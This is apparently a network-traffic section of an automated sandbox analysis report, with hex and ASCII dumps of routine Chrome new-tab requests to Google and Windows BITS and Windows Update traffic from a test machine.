2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 6e 20 61 6c 69 65 6e 73 20 6f 63 65 61 6e 22 2c 22 63 68 69 6c 6c 20 67 75 79 20 63 6f 69 6e 73 22 2c 22 74 6f 20 74 72 61 69 6e 20 79 6f 75 72 20 64 72 61 67 6f 6e 20 6c 69 76 65 20 61 63 74 69 6f 6e 20 74 72 61 69 6c 65 72 22 2c 22 61 70 70 6c 65 20 69 6f 73 20 31 38 2e 31 20 31 20 75 70 64 61 74 65 22 2c 22 62 6f 73 74 6f 6e 20 62 72 75 69 6e 73 20 63 6f 61 63 68 20 6a 69 6d 20 6d 6f 6e 74 67 6f 6d 65 72 79 22 2c 22 70 69 6e 6b 20 74 6f 74 65 20 6d 6f 6d 20 74 69 6b 74 6f 6b 22 2c 22 63 79 62 65 72 20 61 74 74 61 63 6b 22 2c 22 6b 69 74 68 20 78 20 62 61 74 6d 61 6e 20 63 6f 6c 6c 65 63 74 69 6f 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 Data Ascii: n aliens ocean","chill guy coins","to train your dragon live action trailer","apple ios 18.1 1 update","boston bruins coach jim montgomery","pink tote mom tiktok","cyber attack","kith x batman collection"],["","","","","","","",""],[],{"google:clientdata"
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 59 7a 4d 46 45 30 53 58 4e 55 64 48 4e 6e 55 47 4a 68 57 6d 4a 57 4d 6b 64 6a 61 55 39 58 64 57 35 46 53 33 46 76 4b 30 46 4d 65 45 34 35 4b 31 46 48 61 6d 4e 75 57 6c 64 75 62 57 6f 30 57 58 4a 6f 64 32 35 76 53 47 70 48 4c 7a 56 49 57 44 46 69 56 7a 46 56 61 33 68 57 52 31 68 31 4f 44 67 34 4e 45 4a 51 62 47 39 6c 4d 57 4a 4f 51 30 68 4b 55 48 64 71 63 6e 70 50 5a 45 74 69 53 6e 70 4c 55 44 56 55 57 47 31 43 54 48 70 61 61 6d 46 77 5a 33 52 68 55 56 46 34 64 32 70 4c 5a 6d 68 5a 4e 6b 5a 54 56 48 68 53 55 6d 78 58 61 6e 6c 76 4f 45 35 46 4e 33 70 57 52 33 4a 77 63 47 46 6a 65 54 68 54 65 56 6c 43 52 45 52 6b 56 44 42 4a 4f 55 52 32 63 46 5a 77 63 58 46 53 59 55 5a 58 63 55 6b 79 4e 47 31 69 61 48 67 30 4e 32 45 31 57 48 56 55 4e 55 31 4d 53 32 5a 35 54 Data Ascii: YzMFE0SXNUdHNnUGJhWmJWMkdjaU9XdW5FS3FvK0FMeE45K1FHamNuWldubWo0WXJod25vSGpHLzVIWDFiVzFVa3hWR1h1ODg4NEJQbG9lMWJOQ0hKUHdqcnpPZEtiSnpLUDVUWG1CTHpaamFwZ3RhUVF4d2pLZmhZNkZTVHhSUmxXanlvOE5FN3pWR3JwcGFjeThTeVlCRERkVDBJOUR2cFZwcXFSYUZXcUkyNG1iaHg0N2E1WHVUNU1MS2Z5T
2024-11-20 15:50:36 UTC	397	IN	Data Raw: 62 6b 6f 76 55 46 64 4d 64 46 52 6c 4e 58 55 77 52 6a 56 75 63 6a 46 57 64 54 5a 49 4e 47 52 51 52 56 52 71 51 30 52 73 4e 6b 55 34 65 6a 59 32 64 31 56 4b 61 31 51 30 63 47 78 44 64 57 5a 77 57 48 42 77 4e 46 46 68 4d 55 6c 55 61 31 6c 30 63 31 52 36 52 32 4a 30 61 47 52 46 4f 58 70 33 4d 55 77 77 61 6c 42 4f 4d 32 74 6e 61 6d 4a 50 64 30 39 6a 59 6d 70 56 4b 33 56 69 64 45 68 53 55 6e 68 49 5a 44 4e 69 61 6d 74 69 63 58 70 68 63 44 6b 32 62 7a 52 77 4d 6d 70 77 57 6b 31 48 54 6c 64 4d 51 57 56 6c 63 47 52 6d 4e 48 70 45 56 33 5a 47 4f 55 74 75 57 54 5a 53 4d 43 74 54 4d 58 49 7a 52 31 70 72 62 7a 4e 4e 4f 46 52 73 4e 6d 52 50 53 47 52 6e 59 31 6c 49 54 57 35 57 51 6a 64 50 56 55 78 34 4d 44 46 51 55 6a 42 70 63 57 46 78 63 47 4e 4c 62 54 4a 34 57 57 35 Data Ascii: bkovUFdMdFRlNXUwRjVucjFWdTZINGRQRVRqQ0RsNkU4ejY2d1VKa1Q0cGxDdWZwWHBwNFFhMUlUa1l0c1R6R2J0aGRFOXp3MUwwalBOM2tnamJPd09jYmpVK3VidEhSUnhIZDNiamticXphcDk2bzRwMmpwWk1HTldMQWVlcGRmNHpEV3ZGOUtuWTZSMCtTMXIzR1prbzNNOFRsNmRPSGRnY1lITW5WQjdPVUx4MDFQUjBpcWFxcGNLbTJ4WW5
2024-11-20 15:50:36 UTC	748	IN	Data Raw: 32 65 35 0d 0a 6a 56 33 52 49 57 6b 39 6f 63 7a 68 69 4c 32 6f 78 61 31 6c 45 4e 44 4a 4c 64 32 70 77 4f 53 74 59 62 30 63 77 56 7a 64 52 56 6c 68 6d 4d 54 64 54 55 33 6c 45 61 46 46 6a 56 48 56 34 4d 6b 46 48 56 47 35 48 4e 44 5a 49 63 44 45 78 54 54 63 35 5a 43 39 6c 4d 54 52 75 63 6d 31 43 52 55 73 30 61 6d 64 52 4f 55 56 59 57 6c 46 51 4f 45 46 6c 57 6a 42 44 53 57 4a 74 56 32 5a 4e 5a 6b 4a 47 51 58 68 46 63 6d 70 6a 61 6d 74 70 4b 31 42 79 63 6a 52 32 4d 32 46 6f 52 6a 4a 34 64 48 4a 4f 4e 31 4a 33 64 57 4e 72 52 31 5a 36 62 48 6c 50 57 47 39 51 53 57 45 32 56 58 6c 74 5a 58 41 7a 4b 31 56 6d 63 6d 38 7a 54 30 46 31 5a 69 38 79 55 54 30 39 4f 69 4a 69 62 33 4e 30 62 32 34 67 59 6e 4a 31 61 57 35 7a 49 47 4e 76 59 57 4e 6f 49 47 70 70 62 53 42 74 62 Data Ascii: 2e5jV3RIWk9oczhiL2oxa1lENDJLd2pwOStYb0cwVzdRVlhmMTdTU3lEaFFjVHV4MkFHVG5HNDZIcDExTTc5ZC9lMTRucm1CRUs0amdROUVYWlFQOEFlWjBDSWJtV2ZNZkJGQXhFcmpjamtpK1BycjR2M2FoRjJ4dHJON1J3dWNrR1Z6bHlPWG9QSWE2VXltZXAzK1Vmcm8zT0F1Zi8yUT09OiJib3N0b24gYnJ1aW5zIGNvYWNoIGppbSBtb
2024-11-20 15:50:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49716	142.250.181.68	443	4224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:35 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49713	142.250.181.68	443	4224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:35 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlqHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 15:50:36 UTC	1018	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 15:50:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 15:50:36 UTC	372	IN	Data Raw: 32 35 38 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2586)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 33 2c 33 37 30 30 34 33 39 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700313,3700439,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 Data Ascii: \u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a
2024-11-20 15:50:36 UTC	902	IN	Data Raw: 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 Data Ascii: a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(
2024-11-20 15:50:36 UTC	360	IN	Data Raw: 31 36 31 0d 0a 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c Data Ascii: 161ndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\
2024-11-20 15:50:36 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 Data Ascii: 8000};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49715	142.250.181.68	443	4224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:35 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 15:50:36 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 15:50:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 15:50:36 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 15:50:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49728	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:40 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 15:50:40 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=3333 Date: Wed, 20 Nov 2024 15:50:40 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49722	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:40 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bslUwWlH7asp55+&MD=TSa4H7Ug HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 15:50:41 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 10b6d4de-77b6-44b3-a190-6885343b2a9a MS-RequestId: d899fe22-cb4c-4d02-b68d-0d1129fb3b72 MS-CV: ZHgyu3LUfka20hGZ.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 15:50:40 GMT Connection: close Content-Length: 24490
